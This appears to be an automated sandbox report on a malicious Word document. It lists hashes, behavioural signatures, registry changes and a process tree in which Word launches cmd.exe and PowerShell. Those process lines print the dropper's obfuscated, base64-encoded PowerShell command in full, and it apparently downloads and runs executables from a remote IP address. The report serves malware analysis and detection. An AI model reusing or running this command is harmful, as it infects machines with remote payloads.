Analysis
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max time kernel
101s -
max time network
109s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
20-05-2021 20:23
Static task
static1
Behavioral task
behavioral1
Sample
44ce9bbea2b67d562f6b2b7941dc55df7049621fe8ffde240686fb8b7bfd4354.doc
Resource
win7v20210408
Behavioral task
behavioral2
Sample
44ce9bbea2b67d562f6b2b7941dc55df7049621fe8ffde240686fb8b7bfd4354.doc
Resource
win10v20210410
General
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Target
44ce9bbea2b67d562f6b2b7941dc55df7049621fe8ffde240686fb8b7bfd4354.doc
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Size
23KB
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MD5
e7a25f77d121b2a3821c3d8b0c47060c
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SHA1
d4e3bc63059fca99a3f945195488569cfdb6d816
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SHA256
44ce9bbea2b67d562f6b2b7941dc55df7049621fe8ffde240686fb8b7bfd4354
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SHA512
04e567a102106494abb21ba60b65dae52d65c1b13776aa0f1517b9337591a14895a72a8d924d229c3bff76a57f7a34e883d7f7ce42bab431ba4ba1245eb6dbc1
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1568 1656 cmd.exe WINWORD.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1656 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 464 powershell.exe 464 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 464 powershell.exe -
Suspicious use of SetWindowsHookEx 16 IoCs
Processes:
WINWORD.EXEpid process 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE 1656 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 1656 wrote to memory of 1568 1656 WINWORD.EXE cmd.exe PID 1656 wrote to memory of 1568 1656 WINWORD.EXE cmd.exe PID 1656 wrote to memory of 1568 1656 WINWORD.EXE cmd.exe PID 1656 wrote to memory of 1568 1656 WINWORD.EXE cmd.exe PID 1568 wrote to memory of 464 1568 cmd.exe powershell.exe PID 1568 wrote to memory of 464 1568 cmd.exe powershell.exe PID 1568 wrote to memory of 464 1568 cmd.exe powershell.exe PID 1568 wrote to memory of 464 1568 cmd.exe powershell.exe PID 1656 wrote to memory of 1864 1656 WINWORD.EXE splwow64.exe PID 1656 wrote to memory of 1864 1656 WINWORD.EXE splwow64.exe PID 1656 wrote to memory of 1864 1656 WINWORD.EXE splwow64.exe PID 1656 wrote to memory of 1864 1656 WINWORD.EXE splwow64.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\44ce9bbea2b67d562f6b2b7941dc55df7049621fe8ffde240686fb8b7bfd4354.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c P^Ow^er^S^HE^Ll -E WwBzAFkAUwB0AGUATQAuAHQARQB4AFQALgBlAE4AQwBPAEQAaQBuAEcAXQA6ADoAdQBOAGkAQwBPAGQARQAuAGcAZQBUAHMAVAByAEkATgBnACgAWwBzAHkAUwB0AEUAbQAuAEMAbwBOAFYAZQBSAHQAXQA6ADoAZgBSAE8AbQBCAEEAcwBlADYANABTAHQAUgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARgBBAEEAVgBBAEIARABBAEQAYwBBAFIAUQBBAGcAQQBDAGcAQQBJAEEAQQBrAEEARQB3AEEAVABBAEIAZgBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBWAEEAQgBmAEEARABZAEEAYgBBAEIANABBAEMAQQBBAEsAUQBBAE4AQQBBAG8AQQBlAHcAQgBKAEEARwAwAEEAYwBBAEIAdgBBAEgASQBBAFYAQQBBAHQAQQBFADAAQQBUAHcAQgBFAEEASABVAEEAYgBBAEIARgBBAEMAQQBBAFEAZwBCAHAAQQBGAFEAQQBVAHcAQgBVAEEARgBJAEEAUQBRAEIAdQBBAEYATQBBAFIAZwBCAEYAQQBIAEkAQQBPAHcAQQBOAEEAQQBvAEEAVQB3AEIAVQBBAEcARQBBAFUAZwBCAFUAQQBDADAAQQBZAGcAQgBKAEEARgBRAEEAYwB3AEIAVQBBAEgASQBBAFEAUQBCAHUAQQBGAE0AQQBSAGcAQgBGAEEASABJAEEASQBBAEEAdABBAEYATQBBAGIAdwBCADEAQQBGAEkAQQBZAHcAQgBGAEEAQwBBAEEASgBBAEIATQBBAEUAdwBBAFgAdwBBAGcAQQBDADAAQQBSAEEAQgBsAEEARgBNAEEAZABBAEIAcABBAEcANABBAFEAUQBCADAAQQBFAGsAQQBiAHcAQgBPAEEAQwBBAEEASgBBAEIAVQBBAEYAOABBAE4AZwBCAHMAQQBIAGcAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEYAUQBBAFgAdwBBADIAQQBHAHcAQQBlAEEAQQA3AEEASAAwAEEARABRAEEASwBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBKAEEAQgAxAEEARwA4AEEATgBBAEIAZgBBAEcATQBBAFQAdwBBADkAQQBDAFEAQQBSAFEAQgB1AEEASABZAEEATwBnAEIAMABBAEcAVQBBAFQAUQBCAHcAQQBDAHMAQQBKAHcAQgBjAEEARwBFAEEAYQBnAEIAQwBBAEgAQQBBAFEAZwBCAFgAQQBGAFEAQQBXAEEAQgBOAEEARgA4AEEAYgB3AEIATwBBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEIAUQBBAEYAUQBBAFEAdwBBADMAQQBFAFUAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAE8AZwBBAHYAQQBDADgAQQBNAFEAQQAzAEEARABrAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATgBRAEEAdwBBAEMAOABBAFoAdwBCADYAQQBIAE0AQQBkAEEAQQB2AEEARgBJAEEAUgBnAEIAUgBBAEQAZwBBAE0AdwBBAHoAQQBEAFEAQQBNAEEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBIAFUAQQBiAHcAQQAwAEEARgA4AEEAWQB3AEIAUABBAEQAcwBBAEQAUQBBAEsAQQBDAFEAQQBTAHcAQQAyAEEARABZAEEAUwBRAEIAMQBBAEUATQBBAFAAUQBBAGsAQQBHAFUAQQBiAGcAQgBXAEEARABvAEEAVgBBAEIARgBBAEUAMABBAFUAQQBBAHIAQQBDAGMAQQBYAEEAQgB2AEEARgA4AEEAZABBAEIAeABBAEYAOABBAGMAZwBCADYAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEANwBBAEEAMABBAEMAZwBCAFEAQQBGAFEAQQBRAHcAQQAzAEEARQBVAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATQBRAEEAMwBBAEQAawBBAEwAZwBBADAAQQBEAE0AQQBMAGcAQQB4AEEARABRAEEATQBBAEEAdQBBAEQARQBBAE4AUQBBAHcAQQBDADgAQQBaAHcAQgA2AEEASABNAEEAZABBAEEAdgBBAEYAZwBBAE4AZwBCAHIAQQBEAE0AQQBNAHcAQgBxAEEARwBJAEEAVwBBAEIAaABBAEYAVQBBAFUAdwBCAFIAQQBFAGMAQQBhAGcAQgB6AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBTAHcAQQAyAEEARABZAEEAUwBRAEIAMQBBAEUATQBBAE8AdwBBAE4AQQBBAG8AQQBKAEEAQgBQAEEARgA4AEEAVwBRAEIARQBBAEYAUQBBAFAAUQBBAGsAQQBFAFUAQQBUAGcAQgAyAEEARABvAEEAZABBAEIARgBBAEUAMABBAGMAQQBBAHIAQQBDAGMAQQBYAEEAQgByAEEARQB3AEEATQB3AEIAZgBBAEUAWQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEATwB3AEEATgBBAEEAbwBBAFUAQQBCAFUAQQBFAE0AQQBOAHcAQgBGAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABBAEEATABnAEEAeABBAEQAVQBBAE0AQQBBAHYAQQBHAGMAQQBlAGcAQgB6AEEASABRAEEATAB3AEEAdwBBAEQAZwBBAE4AdwBBADEAQQBEAFUAQQBNAEEAQQA0AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBUAHcAQgBmAEEARgBrAEEAUgBBAEIAVQBBAEQAcwBBAEQAUQBBAEsAQQBIADAAQQBZAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEgAcwBBAGYAUQBBAD0AIgApACkAfABJAEUAeAA=2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePOwerSHELl -E WwBzAFkAUwB0AGUATQAuAHQARQB4AFQALgBlAE4AQwBPAEQAaQBuAEcAXQA6ADoAdQBOAGkAQwBPAGQARQAuAGcAZQBUAHMAVAByAEkATgBnACgAWwBzAHkAUwB0AEUAbQAuAEMAbwBOAFYAZQBSAHQAXQA6ADoAZgBSAE8AbQBCAEEAcwBlADYANABTAHQAUgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARgBBAEEAVgBBAEIARABBAEQAYwBBAFIAUQBBAGcAQQBDAGcAQQBJAEEAQQBrAEEARQB3AEEAVABBAEIAZgBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBWAEEAQgBmAEEARABZAEEAYgBBAEIANABBAEMAQQBBAEsAUQBBAE4AQQBBAG8AQQBlAHcAQgBKAEEARwAwAEEAYwBBAEIAdgBBAEgASQBBAFYAQQBBAHQAQQBFADAAQQBUAHcAQgBFAEEASABVAEEAYgBBAEIARgBBAEMAQQBBAFEAZwBCAHAAQQBGAFEAQQBVAHcAQgBVAEEARgBJAEEAUQBRAEIAdQBBAEYATQBBAFIAZwBCAEYAQQBIAEkAQQBPAHcAQQBOAEEAQQBvAEEAVQB3AEIAVQBBAEcARQBBAFUAZwBCAFUAQQBDADAAQQBZAGcAQgBKAEEARgBRAEEAYwB3AEIAVQBBAEgASQBBAFEAUQBCAHUAQQBGAE0AQQBSAGcAQgBGAEEASABJAEEASQBBAEEAdABBAEYATQBBAGIAdwBCADEAQQBGAEkAQQBZAHcAQgBGAEEAQwBBAEEASgBBAEIATQBBAEUAdwBBAFgAdwBBAGcAQQBDADAAQQBSAEEAQgBsAEEARgBNAEEAZABBAEIAcABBAEcANABBAFEAUQBCADAAQQBFAGsAQQBiAHcAQgBPAEEAQwBBAEEASgBBAEIAVQBBAEYAOABBAE4AZwBCAHMAQQBIAGcAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEYAUQBBAFgAdwBBADIAQQBHAHcAQQBlAEEAQQA3AEEASAAwAEEARABRAEEASwBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBKAEEAQgAxAEEARwA4AEEATgBBAEIAZgBBAEcATQBBAFQAdwBBADkAQQBDAFEAQQBSAFEAQgB1AEEASABZAEEATwBnAEIAMABBAEcAVQBBAFQAUQBCAHcAQQBDAHMAQQBKAHcAQgBjAEEARwBFAEEAYQBnAEIAQwBBAEgAQQBBAFEAZwBCAFgAQQBGAFEAQQBXAEEAQgBOAEEARgA4AEEAYgB3AEIATwBBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEIAUQBBAEYAUQBBAFEAdwBBADMAQQBFAFUAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAE8AZwBBAHYAQQBDADgAQQBNAFEAQQAzAEEARABrAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATgBRAEEAdwBBAEMAOABBAFoAdwBCADYAQQBIAE0AQQBkAEEAQQB2AEEARgBJAEEAUgBnAEIAUgBBAEQAZwBBAE0AdwBBAHoAQQBEAFEAQQBNAEEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBIAFUAQQBiAHcAQQAwAEEARgA4AEEAWQB3AEIAUABBAEQAcwBBAEQAUQBBAEsAQQBDAFEAQQBTAHcAQQAyAEEARABZAEEAUwBRAEIAMQBBAEUATQBBAFAAUQBBAGsAQQBHAFUAQQBiAGcAQgBXAEEARABvAEEAVgBBAEIARgBBAEUAMABBAFUAQQBBAHIAQQBDAGMAQQBYAEEAQgB2AEEARgA4AEEAZABBAEIAeABBAEYAOABBAGMAZwBCADYAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEANwBBAEEAMABBAEMAZwBCAFEAQQBGAFEAQQBRAHcAQQAzAEEARQBVAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATQBRAEEAMwBBAEQAawBBAEwAZwBBADAAQQBEAE0AQQBMAGcAQQB4AEEARABRAEEATQBBAEEAdQBBAEQARQBBAE4AUQBBAHcAQQBDADgAQQBaAHcAQgA2AEEASABNAEEAZABBAEEAdgBBAEYAZwBBAE4AZwBCAHIAQQBEAE0AQQBNAHcAQgBxAEEARwBJAEEAVwBBAEIAaABBAEYAVQBBAFUAdwBCAFIAQQBFAGMAQQBhAGcAQgB6AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBTAHcAQQAyAEEARABZAEEAUwBRAEIAMQBBAEUATQBBAE8AdwBBAE4AQQBBAG8AQQBKAEEAQgBQAEEARgA4AEEAVwBRAEIARQBBAEYAUQBBAFAAUQBBAGsAQQBFAFUAQQBUAGcAQgAyAEEARABvAEEAZABBAEIARgBBAEUAMABBAGMAQQBBAHIAQQBDAGMAQQBYAEEAQgByAEEARQB3AEEATQB3AEIAZgBBAEUAWQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEATwB3AEEATgBBAEEAbwBBAFUAQQBCAFUAQQBFAE0AQQBOAHcAQgBGAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABBAEEATABnAEEAeABBAEQAVQBBAE0AQQBBAHYAQQBHAGMAQQBlAGcAQgB6AEEASABRAEEATAB3AEEAdwBBAEQAZwBBAE4AdwBBADEAQQBEAFUAQQBNAEEAQQA0AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBUAHcAQgBmAEEARgBrAEEAUgBBAEIAVQBBAEQAcwBBAEQAUQBBAEsAQQBIADAAQQBZAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEgAcwBBAGYAUQBBAD0AIgApACkAfABJAEUAeAA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:464
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1864
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